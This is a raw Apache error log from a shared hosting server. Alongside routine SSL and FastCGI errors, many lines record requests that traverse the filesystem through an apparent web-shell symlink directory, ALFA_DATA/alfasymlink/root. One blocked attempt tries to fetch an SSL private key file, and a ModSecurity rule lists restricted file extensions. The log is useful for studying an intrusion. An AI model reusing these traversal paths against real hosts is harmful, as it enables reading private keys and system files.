[Sat Oct 24 23:13:46.182494 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 52.200.54.136:41461] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:13:54.203358 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 52.204.253.129:33659] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:13:58.205914 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 54.225.148.123:9939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:14:14.328362 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 44.215.210.112:55896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:14:18.202793 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 3.218.35.239:39967] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:14:26.180800 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 18.209.137.234:23930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:14:30.214270 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 52.2.4.213:9294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:14:30.774687 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 185.191.171.10:33996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/order
[Sat Oct 24 23:14:34.343514 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 100.28.49.152:49146] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:14:42.140384 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 23.22.59.87:63000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:14:48.453615 2026] [security2:error] [pid 2749138:tid 2749138] [client 66.228.42.204:4516] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at10KKcu9k8aHz4uSmmpYgAAAAU"]
[Sat Oct 24 23:14:48.454631 2026] [authz_core:error] [pid 2749138:tid 2749138] [client 66.228.42.204:4516] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 23:14:58.152402 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 54.90.8.255:36555] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/cpu1/node0/compact
[Sat Oct 24 23:15:02.242500 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 34.204.150.196:14932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:15:06.158784 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 23.22.105.143:28899] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:15:10.337548 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 18.205.213.231:57356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:15:18.152439 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 34.224.9.144:41588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:15:21.394548 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 185.191.171.2:37720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/shrink
[Sat Oct 24 23:15:22.144079 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 3.223.134.5:39714] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:15:38.130839 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.4.238.8:19659] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:15:54.958769 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 185.191.171.11:45972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/red_zone
[Sat Oct 24 23:16:18.141643 2026] [security2:error] [pid 2749158:tid 2749158] [client 98.82.63.147:54517] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/hpet/"] [unique_id "at10gvAfy9bYoq3HUbAb8AAAAAY"]
[Sat Oct 24 23:16:18.141706 2026] [security2:error] [pid 2749158:tid 2749158] [client 98.82.63.147:54517] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/hpet/"] [unique_id "at10gvAfy9bYoq3HUbAb8AAAAAY"]
[Sat Oct 24 23:16:19.110088 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 185.191.171.13:33448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/email_send_limits
[Sat Oct 24 23:16:34.261462 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 3.208.156.9:20117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:16:40.843636 2026] [core:error] [pid 2748404:tid 2748404] (13)Permission denied: [client 185.191.171.12:11548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/remote_node_defrag_ratio
[Sat Oct 24 23:16:42.238193 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 35.171.141.42:45588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:16:46.148172 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.230.69.161:51111] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:16:53.423667 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 85.208.96.199:59366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:16:54.140834 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.2.58.41:11472] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:17:02.141894 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 52.202.233.37:14676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:17:10.134903 2026] [ssl:error] [pid 2749158:tid 2749158] (70014)End of file found: [client 18.214.124.6:57241] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:17:30.315799 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 3.216.227.216:19894] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:17:34.185054 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 35.172.125.172:62296] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:17:36.915132 2026] [ssl:error] [pid 2749158:tid 2749158] [client 66.228.42.204:54246] AH02032: Hostname curso-de-ventas.com (default host as no SNI was provided) and hostname server.sherwinpinturas.com provided via HTTP have no compatible SSL setup for policy 'secure'
[Sat Oct 24 23:17:36.925273 2026] [ssl:error] [pid 2748404:tid 2748404] [client 66.228.42.204:54234] AH02032: Hostname curso-de-ventas.com (default host as no SNI was provided) and hostname server.sherwinpinturas.com provided via HTTP have no compatible SSL setup for policy 'secure'
[Sat Oct 24 23:17:36.941035 2026] [ssl:error] [pid 2749160:tid 2749160] [client 66.228.42.204:54272] AH02032: Hostname curso-de-ventas.com (default host as no SNI was provided) and hostname server.sherwinpinturas.com provided via HTTP have no compatible SSL setup for policy 'secure'
[Sat Oct 24 23:17:36.951068 2026] [ssl:error] [pid 2749126:tid 2749126] [client 66.228.42.204:54284] AH02032: Hostname curso-de-ventas.com (default host as no SNI was provided) and hostname server.sherwinpinturas.com provided via HTTP have no compatible SSL setup for policy 'secure'
[Sat Oct 24 23:17:40.067619 2026] [security2:error] [pid 2748410:tid 2748410] [client 66.228.42.204:54298] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at101O7kCJBKGQAqJL0X6QAAAAE"]
[Sat Oct 24 23:17:40.068637 2026] [authz_core:error] [pid 2748410:tid 2748410] [client 66.228.42.204:54298] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 23:17:41.260970 2026] [ssl:error] [pid 2749120:tid 2749120] [client 66.228.42.204:54326] AH02032: Hostname curso-de-ventas.com (default host as no SNI was provided) and hostname server.sherwinpinturas.com provided via HTTP have no compatible SSL setup for policy 'secure'
[Sat Oct 24 23:17:52.106903 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 185.191.171.19:63724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS2/closing_wait
[Sat Oct 24 23:18:06.157840 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 54.235.172.108:16470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:18:18.141809 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 52.200.142.199:55601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:18:22.138164 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 34.195.60.66:37891] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:18:29.813650 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 85.208.96.201:32058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/slabs
[Sat Oct 24 23:18:38.137198 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 52.70.209.13:57271] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:19:22.143205 2026] [ssl:error] [pid 2748404:tid 2748404] (5)Input/output error: [client 184.73.68.20:37697] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:19:34.142897 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 184.73.239.35:47791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:19:40.678250 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 185.191.171.12:10840] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/remote_node_defrag_ratio
[Sat Oct 24 23:19:46.151655 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.210.223.61:8873] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:19:54.326179 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 184.73.195.18:27818] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:02.277948 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 35.172.125.172:9383] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:14.200934 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 3.208.156.9:24836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/input3/device/driver/bind
[Sat Oct 24 23:20:18.166692 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 34.203.111.15:3328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/cpu1/driver/uevent
[Sat Oct 24 23:20:25.894197 2026] [core:error] [pid 2749120:tid 2749120] (13)Permission denied: [client 85.208.96.204:48066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/align
[Sat Oct 24 23:20:26.165687 2026] [ssl:error] [pid 2749126:tid 2749126] (70014)End of file found: [client 18.232.11.247:38628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:30.181368 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 52.70.123.241:34627] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:34.167195 2026] [ssl:error] [pid 2749160:tid 2749160] (70014)End of file found: [client 52.200.54.136:62632] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:36.397726 2026] [core:error] [pid 2748406:tid 2748406] (13)Permission denied: [client 85.208.96.209:12674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/cpu_partial
[Sat Oct 24 23:20:38.341774 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 18.232.36.1:48369] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:41.248577 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:41.635628 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:42.044816 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:42.171070 2026] [core:error] [pid 2749126:tid 2749126] (13)Permission denied: [client 44.206.65.8:31213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/devices/device:03/physical_node/remove
[Sat Oct 24 23:20:42.439152 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:42.869578 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:43.251957 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:43.653601 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:44.052098 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:44.785927 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:45.164367 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:45.706358 2026] [core:error] [pid 2749158:tid 2749158] (13)Permission denied: [client 85.208.96.200:63036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mbcache/alloc_calls
[Sat Oct 24 23:20:46.239692 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 44.215.61.66:7522] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:46.290881 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:47.035389 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:47.404740 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:47.789073 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:48.169705 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:49.002401 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:49.406815 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:49.774134 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:50.156946 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:50.524035 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:50.895187 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:51.276185 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:51.653470 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:52.029481 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:52.422837 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:52.805638 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:53.202970 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:53.570944 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:53.938213 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:54.297718 2026] [ssl:error] [pid 2749302:tid 2749302] (70014)End of file found: [client 107.23.62.75:44012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:20:54.304922 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:54.743452 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:55.110267 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:55.477146 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:55.851930 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:56.113696 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.15:51338] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/f1c2a_4ebc1_6617295285470150272988d8096419e1.key"] [unique_id "at11lzBA89jTW6EoHYFxrAAAAAM"]
[Sat Oct 24 23:20:56.114090 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.15:51338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/f1c2a_4ebc1_6617295285470150272988d8096419e1.key"] [unique_id "at11lzBA89jTW6EoHYFxrAAAAAM"]
[Sat Oct 24 23:20:56.114476 2026] [security2:error] [pid 2748406:tid 2748406] [client 185.191.171.15:51338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/f1c2a_4ebc1_6617295285470150272988d8096419e1.key"] [unique_id "at11lzBA89jTW6EoHYFxrAAAAAM"]
[Sat Oct 24 23:20:56.229944 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:56.613234 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:56.984858 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:57.358752 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:57.734956 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:58.101727 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:58.482023 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:58.849358 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:59.217258 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:59.584646 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:20:59.962676 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:00.356192 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:00.725919 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:01.104420 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:01.474911 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:01.842126 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:02.174437 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 34.206.193.60:16914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:21:02.209751 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:02.582438 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:02.950587 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:03.318813 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:03.692691 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:04.065925 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:04.448560 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:04.818658 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:05.203034 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:05.571561 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:05.976136 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:06.218145 2026] [ssl:error] [pid 2749126:tid 2749126] (5)Input/output error: [client 35.169.119.108:41550] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:21:06.343125 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:06.727559 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:07.094737 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:07.462997 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:07.834177 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 23:21:08.206268 2026] [proxy_fcgi:error] [pid 2749120:tid 2749120] [client 20.194.17.163:47853] AH01071: Got error 'Primary script unknown'
